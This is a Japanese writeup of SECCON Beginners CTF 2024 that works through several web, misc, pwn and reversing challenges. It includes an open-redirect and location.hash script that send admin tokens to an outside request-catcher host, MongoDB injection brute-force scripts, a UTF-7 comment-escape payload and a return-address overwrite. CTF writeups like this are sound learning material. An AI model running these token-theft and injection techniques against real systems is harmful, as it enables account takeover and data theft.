SECCON Beginners CTF 2024 writeup!

# 最初に

今年もSECCON Beginners CTF 2024に参加しました！毎年多少は触ってるはずですがwriteup投稿するのは久しぶりっぽい。

https://www.seccon.jp/13/seccon_beginners/content.html

1人参加で868pt、86位でした。以下触った問題のwriteupです。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/d7ba9eb9-a4af-6a5c-4f2c-cd77ebb80eff.png)

# Welcome

## Welcome

> Welcome to SECCON Beginners CTF 2024!
フラグはDiscordサーバのannouncementsチャンネルにて公開されています!
The flag is on Discord.
> 

公式Discordに載っているやつ。

```
ctf4b{Welcome_to_SECCON_Beginners_CTF_2024}
```

# Web

## wooorker [beginner]

> adminのみflagを取得できる認可サービスを作りました!
https://wooorker.beginners.seccon.games
脆弱性報告bot
wooorker.tar.gz f49f0705eb259d035bea08ebc2576c422708dc94
> 
- `guest/guest` のログイン情報が与えられているが、これでログインしてもflag画面にて「権限がない」と怒られる
- `/login?next=/path` からログインすると `/path?token={JWT}` へリダイレクトする。この `next` パラメータには他ドメインのURLも指定できるため、オープンリダイレクトの脆弱性が存在する
- 脆弱性報告botにパスを送ると、botがそのパスからadmin権限でログイン動作を行う

`/login?next={他サイト}` を脆弱性報告botへ送信すると、botがログイン後に `{他サイト}?token={JWT}` へリダイレクトすることになる。受信リクエストを見られるようなWebサービスを使えば、GETパラメータのtokenを盗み取ることができる。
今回は以下サイトを利用した。（普段はwebhook.siteを使うことが多いのだが、相性なのかタイミングの問題なのかうまくリクエストを受け取れなかった…）

https://requestcatcher.com/

以下を脆弱性報告bot画面から送信すると、

```
login?next=https://kani.requestcatcher.com/a
```

request catcherに以下のリクエストが送られる。

```
GET /a?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY0OTMyLCJleHAiOjE3MTg0Njg1MzJ9.fBfF89yRWbhwuxGnUTiiBqbH6f6QNEG6AkXO-9c10Og
```

あとは `/flag` アクセス時のAuthorizationヘッダにつけてやると、flagを取得できた。

```
GET /flag HTTP/1.1
Host: wooorker.beginners.seccon.games
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDY0OTMyLCJleHAiOjE3MTg0Njg1MzJ9.fBfF89yRWbhwuxGnUTiiBqbH6f6QNEG6AkXO-9c10Og
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Sec-Ch-Ua-Platform: "Linux"
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://wooorker.beginners.seccon.games/?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiaXNBZG1pbiI6ZmFsc2UsImlhdCI6MTcxODQ2NTAxOCwiZXhwIjoxNzE4NDY4NjE4fQ.TiijHO5sShp3r_Fl3wxV-NxaDgTuB__a0NpoqsDUjfU
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close
```

```
HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Sat, 15 Jun 2024 15:23:57 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 50
Connection: close
X-Powered-By: Express
ETag: W/"32-ToCtzz4u7d01Q41uQDklIU+nBZc"

{"flag":"ctf4b{0p3n_r3d1r3c7_m4k35_70k3n_l34k3d}"}
```

## double-leaks [medium]

> Can you leak both username and password? :eyes: 
https://double-leaks.beginners.seccon.games
double-leaks.tar.gz 0b2caf8009ad63d20dbc672e9213a85a09ce0fed
> 

取り掛かったのが早かったからか2nd bloodを取れた。嬉しい。

パラメータとして `username` と `password_hash` があり、ソースからMongoDBを利用していることと `password_hash` にのみ自作WAF?が導入されていることが分かる。また、以下コードを見ると正しい`username` と `password_hash` を知る必要があるようなので、MongoDBのSQLインジェクションをそれぞれのパラメータに対して行っていく。

```python: app.py抜粋
        # Confirm if credentials are valid just in case :smirk:
        if user["username"] != username or user["password_hash"] != password_hash:
            return jsonify({"message": "DO NOT CHEATING"}), 401
```

### usernameの特定

こちらはWAFがないので、定石通り `$regex` を使って正規表現で1文字ずつ特定していく。正しくないとき `Invalid Credential` 、正しいとき `DO NOT CHEATING` の応答となるので、この応答差を利用する。

```python
import requests
import string
import time
import json

def fetch_json_data(url, params=None):
    time.sleep(0.5)
    try:
        response = requests.post(url, headers={'Content-Type': 'application/json'}, data=json.dumps(params))
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f"Error fetching JSON: {e}")
        return None

# リクエストを送信するURL
url = 'https://double-leaks.beginners.seccon.games/login'
characters = string.ascii_lowercase + string.ascii_uppercase + string.digits
result = ""

while True:
    for c in characters:
        params = {"username":{"$regex":f"^{result+c}.*"}, "password_hash":{"$ne":"a"}}
        json_data = fetch_json_data(url, params)
        if "CHEATING" in json_data["message"]:
            result = result + c
            print(result)
            break
    else:
        break
```

これを実行すると、 `username=ky0muky0mupur1n` であることが分かった。きょむきょむプリン。

### password_hash の特定

こちらは `username` とは違い、自作WAFによって `regex` `where` などの単語や一部記号を含む場合にエラーとなるよう設定されている。

ただし、ここで特定したいのはパスワードではなくパスワードハッシュであるため `[0-9a-f]+` となる。正規表現などでなくとも数の大小でブルートフォースでき、それを判定する `$gt` などは弾かれない。

```python
import requests
import time
import json

def fetch_json_data(url, params=None):
    time.sleep(0.5)
    try:
        response = requests.post(url, headers={'Content-Type': 'application/json'}, data=json.dumps(params))
        return response.json()
    except requests.exceptions.RequestException as e:
        print(f"Error fetching JSON: {e}")
        return None

# リクエストを送信するURL
url = 'https://double-leaks.beginners.seccon.games/login'

characters = "0123456789abcdef"
result = ""
username = "ky0muky0mupur1n"

for i in range(64):
    for j in range(len(characters)):
        passhash = result + characters[j] + "0"*(63-i)
        params = {"username":username, "password_hash":{"$gte":passhash}}
        json_data = fetch_json_data(url, params)
        if "Invalid Credential" in json_data["message"]:
            result = result + characters[j-1]
            print(result)
            break
    else:
        result = result + "f"
        print(result)
```

これで `d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a` が正しいと特定できる。

```
POST /login HTTP/1.1
Host: double-leaks.beginners.seccon.games
Content-Length: 113
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://double-leaks.beginners.seccon.games
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://double-leaks.beginners.seccon.games/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close

{"username":"ky0muky0mupur1n","password_hash":"d36cc81ec2ff37bbcf9a1f537bfa508ceeee2dd6e5fbc9a8e21467b5a43ff31a"}
```

```
HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Sat, 15 Jun 2024 09:38:54 GMT
Content-Type: application/json
Content-Length: 101
Connection: close

{"message":"Login successful! Congrats! Here is the flag: ctf4b{wh4t_k1nd_0f_me4l5_d0_y0u_pr3f3r?}"}

```

## wooorker2 [medium]

> トークン漏洩の脆弱性を修正しました! これでセキュリティは完璧です!
https://wooorker2.beginners.seccon.games/
脆弱性報告bot
wooorker2.tar.gz 8a791365347487091fdda6fce4cf6fd463c0b567
> 

wooorkerではtokenをGETパラメータ（ `?token={JWT}` ）として連結していたが、こちらではフラグメント（ `#token={JWT}` ）になった。これでなにが面倒かというと、 外部送信時にサーバ側では `#` 以降が記録されない。
よって、リダイレクト先に `#` 以降を取得するJavaScriptを仕込んでおき、それを送信させることを考える。
これをするにあたって簡単なHTMLを返してくれるサイトを探し回り、最終的にRequestBinを使うことで落ち着いた。

https://pipedream.com/

1. RequestBinにてレスポンスを以下のように設定する。（nodejsを指定）
ここでは `window.location.hash` を取得し、それを更に request catcherへ飛ばしている。
    ```jsx
    export default defineComponent({
      async run({ steps, $ }) {
        await $.respond({
          status: 200,
          headers: {},
          body: "<script>const a = window.location.hash;window.location.href = 'https://kani.requestcatcher.com/?' + a.substring(1);</script>",
        })
      },
    })
    ```
    
2. 設定したRequestBinのURLを脆弱性報告botへ送信する。
    
    ```
    login?next=https://eof2u7of50p71w6.m.pipedream.net
    ```
    
3. 最終到達先のrequest catcherでtokenを受信する。
    
    ```
    GET /?token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDk1MzU5LCJleHAiOjE3MTg0OTg5NTl9.nOf5N-dCyRnp48NjdZXIz1vHZ1Q34inK5RJrqaeEquw
    ```
    

あとはwooorkerと同様、 `Authorization` ヘッダへ追加してアクセス。

```
GET /flag HTTP/1.1
Host: wooorker2.beginners.seccon.games
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNzE4NDk1MzU5LCJleHAiOjE3MTg0OTg5NTl9.nOf5N-dCyRnp48NjdZXIz1vHZ1Q34inK5RJrqaeEquw
Connection: close
```

```
HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Sat, 15 Jun 2024 23:53:35 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 55
Connection: close
X-Powered-By: Express
ETag: W/"37-jCKWpLeGXDnm+eqbrv3xyuBFjLE"

{"flag":"ctf4b{x55_50m371m35_m4k35_w0rk3r_vuln3r4bl3}"}
```

## ssrforlfi [easy]

> SSRF？ LFI？ ひょっとしてRCE？
https://ssrforlfi.beginners.seccon.games
ssrforlfi.tar.gz 52c79695ec23cafb85105bc0dae8e4e3eef2ae1f
> 

**※解けていない**が、惜しくて（？）悲しかったので考えた過程を書いておく。

環境変数にflagが格納されているらしい。URLを送ると内部で `curl` を用いてアクセスするwebアプリのようで、SSRF・LFI・RCEそれぞれへの対策が実装されている。

flagは `.env` に記載されており、それを `docker-compose.yml` で呼んでコンテナの環境変数に設定している。取得方法としてRCEで `env` コマンドなどを叩くかLFIで `/proc/self/environ` を読む方法を思いついたが、 `curl` コマンド実行部分が `'` で囲まれているのでRCEは難しそう。（protectionにより `'` を入力に含めることもできない）

```python :app.py
    try:
        # RCE ?
        proc = subprocess.run(
            f"curl '{url}'",
            capture_output=True,
            shell=True,
            text=True,
            timeout=1,
        )
```

ということで、LFIで環境変数を取得することを考える。 `file` スキーマを使うことが認められているが、以下の制約がある。

- 文字種は `a-z, ", (, ), ., /, :, ;, <, >, @, |` のみ
- URLの7文字目以降について、 `os.path.exists(path)` がTrueか `..` が含まれると駄目

この `os.path.exists(path)` の条件が突破できず、他の問題の合間合間でいろいろ試すも分かる前に時間が来てしまった。

終了後にwriteupを見て `file://localhost/proc/self/environ` で通ると知ったが、 ログを見たところhttpのノリで `file://xxx@localhost/...` みたいな形を試していたのに `localhost` のみは試していなかった。かなしい。

# Misc

## getRank [easy]

> https://getrank.beginners.seccon.games/
getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16
> 

スコアを送信するAPIがあり、現状1位の `10**255` 点以上を送ってランキング1位になればflagという問題。ただし、以下の制約がある。

- lengthが300文字未満
- `parseInt()` した値が `10**255` より大きいとき、 `10**100` で割られる

普通に文字列制限いっぱい送信してもダメなので、`parseInt()` で解釈可能かつ10進表記以外で大きな値を調べたところ、 `0xff` 系の16進数も解釈できるらしい。ということで `0xfffff...` を送信したところ通った。

```
POST / HTTP/1.1
Host: getrank.beginners.seccon.games
Content-Length: 312
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"
Sec-Ch-Ua-Platform: "Linux"
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.160 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://getrank.beginners.seccon.games
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://getrank.beginners.seccon.games/
Accept-Encoding: gzip, deflate, br
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Priority: u=1, i
Connection: close

{"input":"0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"}
```

```
HTTP/1.1 200 OK
Server: nginx/1.27.0
Date: Sat, 15 Jun 2024 05:15:27 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 53
Connection: close

{"rank":1,"message":"ctf4b{15_my_5c0r3_700000_b1g?}"}
```

## clamre [easy]

> アンチウィルスのシグネチャを読んだことはありますか?
※サーバにアクセスしなくても解けます
https://clamre.beginners.seccon.games/
clamre.tar.gz 445052853290b4cf3cc39ff0a36dca0cc6747f1c
> 

ソースコードより、ClamAV（Linuxのアンチウイルスソフト）を使って送信ファイルがシグネチャに合うかどうかをチェックしている。

シグネチャは `flag.ldb` に書かれており、以下のようにテキストで読める。

``` :flag.ldb
ClamoraFlag;Engine:81-255,Target:0;1;63746634;0/^((\x63\x74\x66)(4)(\x62)(\{B)(\x72)(\x33)\3(\x6b1)(\x6e\x67)(\x5f)\3(\x6c)\11\10(\x54\x68)\7\10(\x480)(\x75)(5)\7\10(\x52)\14\11\7(5)\})$/
```

後半に正規表現があり、 `\x63\x74\x66` が `ctf` を指すことからもこれらがflagとなっていそう。

`\数値` がキャプチャグループの置換（例えば `\3` は括弧3つ目の `4` を指す）なので、以下の表を作成して照らし合わせていった。

| 2 | ctf |
| --- | --- |
| 3 | 4 |
| 4 | b |
| 5 | { |
| 6 | r |
| 7 | 3 |
| 8 | k1 |
| 9 | ng |
| 10 | _ |
| 11 | l |
| 12 | Th |
| 13 | H0 |
| 14 | u |
| 15 | 5 |

最終的なflagは以下のとおり。

```
ctf4b{Br34k1ng_4ll_Th3_H0u53_Rul35}
```

## commentator [easy]

> コメントには注意しなきゃ！
nc commentator.beginners.seccon.games 4444
commentator.tar.gz 83d58281d8e0c0376b248e3a6a9487f7a106cec0
> 

pythonプログラムを作成して実行するプログラムが動いているが、全ての行の前に `#`  が付いている。

例えば以下のように入力すると、

```
└─$  nc commentator.beginners.seccon.games 4444
                                          _        _                  __
  ___ ___  _ __ ___  _ __ ___   ___ _ __ | |_ __ _| |_ ___  _ __   _  \ \
 / __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_)  | |
| (_| (_) | | | | | | | | | | |  __/ | | | || (_| | || (_) | |     _   | |
 \___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_|    (_)  | |
                                                                      /_/
---------------------------------------------------------------------------
Enter your Python code (ends with __EOF__)
>>> test
>>> __EOF__
thx :)
```

以下のようなpythonプログラムファイルが作成され、実行される。当然コメントなので何も動作しない。

```python
# test
# __EOF__
```

flagは `/tmp/{uuid.uuid4()}.py` に作成されるため、どうにかして改行を挿入してコメントアウトから抜け出し、flagファイルを探さないといけない。

pythonにおいて文頭が `#` かつ単純なコメント以外の用途といえば「文字コード指定」「shebang」の2種類だと思われるので、文字コードをutf-8以外にしたうえで改行コードを挿入することを思いついた。

[CyberChefさん](https://gchq.github.io/CyberChef/#recipe=Encode_text('UTF-7%20(65000)')&ieol=CRLF)に実行したいコードをUTF-7へエンコードしてもらう。

```python
# 元コード

import glob
flag = glob.glob("/flag*")
with open(flag[0]) as f:
	print(f.read())

# utf-7
+AA0-+AAo-import+ACA-glob+AA0-+AAo-flag+ACA-+AD0-+ACA-glob.glob(+ACI-/flag+ACo-+ACI-)+AA0-+AAo-with+ACA-open(flag+AFs-0+AF0-)+ACA-as+ACA-f:+AA0-+AAo-+AAk-print(f.read())
```

送信して実行。

```
└─$ nc commentator.beginners.seccon.games 4444
                                          _        _                  __
  ___ ___  _ __ ___  _ __ ___   ___ _ __ | |_ __ _| |_ ___  _ __   _  \ \
 / __/ _ \| '_ ` _ \| '_ ` _ \ / _ \ '_ \| __/ _` | __/ _ \| '__| (_)  | |
| (_| (_) | | | | | | | | | | |  __/ | | | || (_| | || (_) | |     _   | |
 \___\___/|_| |_| |_|_| |_| |_|\___|_| |_|\__\__,_|\__\___/|_|    (_)  | |
                                                                      /_/
---------------------------------------------------------------------------
Enter your Python code (ends with __EOF__)
>>> -*- coding: utf-7 -*-
>>> +AA0-+AAo-import+ACA-glob+AA0-+AAo-flag+ACA-+AD0-+ACA-glob.glob(+ACI-/flag+ACo-+ACI-)+AA0-+AAo-with+ACA-open(flag+AFs-0+AF0-)+ACA-as+ACA-f:+AA0-+AAo-+AAk-print(f.read())
>>> __EOF__
ctf4b{c4r3l355_c0mm3n75_c4n_16n173_0nl1n3_0u7r463}
thx :)
```

# pwnable

## simpleoverflow [beginner]

> Cでは、0がFalse、それ以外がTrueとして扱われます。
nc simpleoverflow.beginners.seccon.games 9000
simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32
> 

overflowとあったので適当に長い文字列を入れたらflagが出てきた。

```
└─$ nc simpleoverflow.beginners.seccon.games 9000
name:aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaa�H�
ctf4b{0n_y0ur_m4rk}
```

## simpleoverwrite [easy]

> スタックとリターンアドレスを確認しましょう
nc simpleoverwrite.beginners.seccon.games 9001
simpleoverwrite.tar.gz 98f8e4f182185e9ed40e195c1921561eba79494b
> 

リターンアドレスを表示してくれる。19文字以上入れるとオーバーフローしてリターンアドレスを侵食するらしい。

```
└─$ nc simpleoverwrite.beginners.seccon.games 9001
input:aaaaaaaaaaaaaaaaaaa
Hello, aaaaaaaaaaaaaaaaaaa
��{
return to: 0x7f7bfc990a61
```

IDAで実行ファイルを読み込むと、win関数が存在していた。 `0x401186` が開始位置らしいので、これを指定してみる。

```python
from pwn import *

conn = remote("simpleoverwrite.beginners.seccon.games", 9001)

res = conn.recv()
print(res.decode())

# 0x401186（リトルエンディアン）
hex_data = "61"*18 + "8611400000000000"
data = bytes.fromhex(hex_data)
conn.send(data)

conn.interactive()

```

```
└─$ python simpleoverwrite.py                     
[+] Opening connection to simpleoverwrite.beginners.seccon.games on port 9001: Done
input:
[*] Switching to interactive mode
Hello, aaaaaaaaaaaaaaaaaa\x86\x11@
return to: 0x401186
ctf4b{B3l13v3_4g41n}

[*] Got EOF while reading in interactive
```

# reversing

## assemble [beginner]

> Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!
https://assemble.beginners.seccon.games
assemble.tar.gz d68dd70d722c38f90c8c4a8e8c36be6a94e3fab4
> 

アクセスすると、アセンブリ言語のエディタが表示される。challengeが4つ用意されており、完遂するとflagがもらえるらしい。

![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/324557/b78e9dc1-948e-bdc5-f461-9eb749085c7c.png)

個人的に、つい最近アセンブリ言語をある程度理解したいと思い立ち調べ始めていたところだったので、その調査結果まとめ（途中）が役に立った。自分で調べたことをこうして実践（？）に使えるとやはり楽しい。
自分の整理も兼ねて説明を詳しめに書きたいと思う。

### Challenge 1. Please write 0x123 to RAX!

```
mov RAX, 0x123
```

これはタイトルの通り。 `mov` は `RAX` などのレジスタに値を書き込む動作。

### Challenge 2. Please write 0x123 to RAX and push it on stack!

```
mov RAX, 0x123
push RAX
```

これもタイトルの通り。

### Challenge 3. Please use syscall to print Hello on stdout!

```
; 出力値設定
mov RAX, 0x6f6c6c6548
push RAX

; 出力(syscall: write 1)
; 引数：ファイルディスクリプタ（標準出力は1）, 出力対象の先頭アドレス, バイト数
mov RAX, 1
mov RDI, 1
mov RSI, RSP
mov RDX, 5
syscall
```

※ `;` 行は実際には入力していない

`syscall` でシステムコールを実行できるが、その前に実行するシステムコール（番号で割り振られている）や引数を設定する必要がある。どのレジスタにどの値を設定すればいいか決められており、 以下の通りらしい。

- `RAX`: システムコール番号を格納
- `RDI` , `RSI` , `RDX` , `R10`, … : 引数（ `RDI` が第一引数）

ここではprintしたいので writeシステムコールを使っている。出力対象は文字列自身でなく先頭アドレスである必要があるとのことで、スタックに文字列を `push` したあとスタックの先頭アドレスを指す `RSP` を第2引数の `RSI` に格納している。
最後に `syscall` で実行すると、 `Hello` が出力される。

なお `syscall` 時の戻り値は `RAX` に格納されるらしい。

### Challenge 4. Please read flag.txt file and print it to stdout!

```
; ファイル名設定
mov RAX, 0x00
push RAX
mov RAX, 0x7478742e67616c66
push RAX

; 1. ファイルオープン(syscall: open 2)
; パス名の先頭アドレス, flag(r, w, rw)
mov RAX, 2
mov RDI, RSP
mov RSI, 0
syscall
mov RDI, RAX

; 2. ファイル読み込み(syscall: read 0)
; ファイルディスクリプタ, 読み込み先ポインタ？, バイト数
mov RAX, 0
mov RSI, RSP
mov RDX, 1024
syscall

; 3. 出力(syscall: write 1)
; ファイルディスクリプタ（標準出力は1）, 出力対象の先頭アドレス, バイト数
mov RAX, 1
mov RDI, 1
mov RSI, RSP
mov RDX, 55
syscall
```

※ `;` 行は実際には入力していない

まず、「ファイルを開いて出力」には open→read→write の3つのシステムコールが必要になる。それぞれの番号および引数はコメントの通り。

1. ファイル名設定
    - 🤔「 `0x7478742e67616c66` をpushするだけだとファイルオープンで失敗するんですけど… 」ChatGPT🤖「ファイル名のあとに終端文字 `0x00` が必要だよ」
2. open
    - 書いてある通り。
3. read
    - 🤔「 読み込み先って何を指定すれば…」🤖「 `buffer` 変数を定義してそこに積めばいいよ 」🤔「 `mov` `push` `syscall` しか使えんのです」🤖「ならスタックを読み込み先にして、引数には先頭アドレス `RSP` を渡すといいよ」
    - 戻り値は `RAX` に格納されるが、引数で指定したとおりスタックにも積まれている。
4. write
    - スタックにファイルを読み込んだ内容が置かれているので、ここでもスタックの先頭アドレスである `RSP` を第2引数に渡している。

これで `flag.txt` の内容=flagを表示させることができた。

```
ctf4b{gre4t_j0b_y0u_h4ve_m4stered_4ssemb1y_14ngu4ge}
```

## cha-ll-enge [easy]

> 見たことがない形式のファイルだけど、中身を見れば何かわかるかも...?
cha-ll-enge.tar.gz 0356d82e580af031d889a46a750dd3a6b96a74ce
> 

なにかのコードっぽい内容のテキストファイルが配られた。その中で生成されたコメント？っぽい`Function Attrs: noinline nounwind optnone uwtable` でググると、LLVMというものらしい。

https://lsifrontend.hatenablog.com/entry/2019/08/16/172256

冒頭に定数定義？があり、文字列を入力するとflagかどうか判定するプログラムのように見える。

``` : cha.ll.enge抜粋
@__const.main.key = private unnamed_addr constant [50 x i32] [i32 119, i32 20, i32 96, i32 6, i32 50, i32 80, i32 43, i32 28, i32 117, i32 22, i32 125, i32 34, i32 21, i32 116, i32 23, i32 124, i32 35, i32 18, i32 35, i32 85, i32 56, i32 103, i32 14, i32 96, i32 20, i32 39, i32 85, i32 56, i32 93, i32 57, i32 8, i32 60, i32 72, i32 45, i32 114, i32 0, i32 101, i32 21, i32 103, i32 84, i32 39, i32 66, i32 44, i32 27, i32 122, i32 77, i32 36, i32 20, i32 122, i32 7], align 16
@.str = private unnamed_addr constant [14 x i8] c"Input FLAG : \00", align 1
@.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1
@.str.2 = private unnamed_addr constant [22 x i8] c"Correct! FLAG is %s.\0A\00", align 1
@.str.3 = private unnamed_addr constant [16 x i8] c"Incorrect FLAG.\00", align 1
```

一旦コンパイルしてみた方がいいかと思い `llvm` をインストールしたが、うまくできなかったので諦めた。
入力値と正しいflagを比較している部分の動作さえ分かればflagを計算できそうなので、それっぽい以下部分の動作をChatGPTに説明してもらった。

``` : cha.ll.enge抜粋
18:                                               ; preds = %15
  %19 = load i64, i64* %6, align 8
  %20 = getelementptr inbounds [70 x i8], [70 x i8]* %2, i64 0, i64 %19
  %21 = load i8, i8* %20, align 1
  %22 = sext i8 %21 to i32
  %23 = load i64, i64* %6, align 8
  %24 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %23
  %25 = load i32, i32* %24, align 4
  %26 = xor i32 %22, %25
  %27 = load i64, i64* %6, align 8
  %28 = add i64 %27, 1
  %29 = getelementptr inbounds [50 x i32], [50 x i32]* %3, i64 0, i64 %28
  %30 = load i32, i32* %29, align 4
  %31 = xor i32 %26, %30
  store i32 %31, i32* %5, align 4
  %32 = load i32, i32* %5, align 4
  %33 = icmp eq i32 %32, 0
  br i1 %33, label %34, label %37
```

``` : ChatGPT回答抜粋
各文字に対して以下の操作を行います:

入力文字 (%21) を整数に変換します (%22)。
その文字とキーの対応する値 (%25) をXORします (%26)。
次のキーの値 (%30) とさらにXORします (%31)。
結果が0であれば、カウンタを増やします (%34)。
この操作を全ての文字について繰り返し、すべての結果が0であることを確認します (%33)。
```

なお、回答にあるキーとは `@__const.main.key` 配列の値のこと。つまり `i^(i+1)^0` をしていけばよさそうなのでpythonスクリプトを書いた。

```

arr = [119, 20, 96, 6, 50, 80, 43, 28, 117, 22, 125, 34, 21, 116, 23, 124, 35, 18, 35, 85, 56, 103, 14, 96, 20, 39, 85, 56, 93, 57, 8, 60, 72, 45, 114, 0, 101, 21, 103, 84, 39, 66, 44, 27, 122, 77, 36, 20, 122, 7]
result = ""

for i in range(49):
    r = arr[i] ^ arr[i+1] ^ 0
    result += chr(r)

print(result)
```

```
└─$ python main.py
ctf4b{7ick_7ack_11vm_int3rmed14te_repr3sen7a7i0n}
```

# 感想

最後にwriteupを書いたのは2021年のようですが、成長しているんでしょうか…順位が上がっているからいいのかな…🤔
Webしか解けないので、Web問をもう少し解きたかったなという思いです。精進します。
あとはmiscにブロックチェーンタグのついた問題がありましたが、よく知らない分野なので時間があれば触ってみたいです。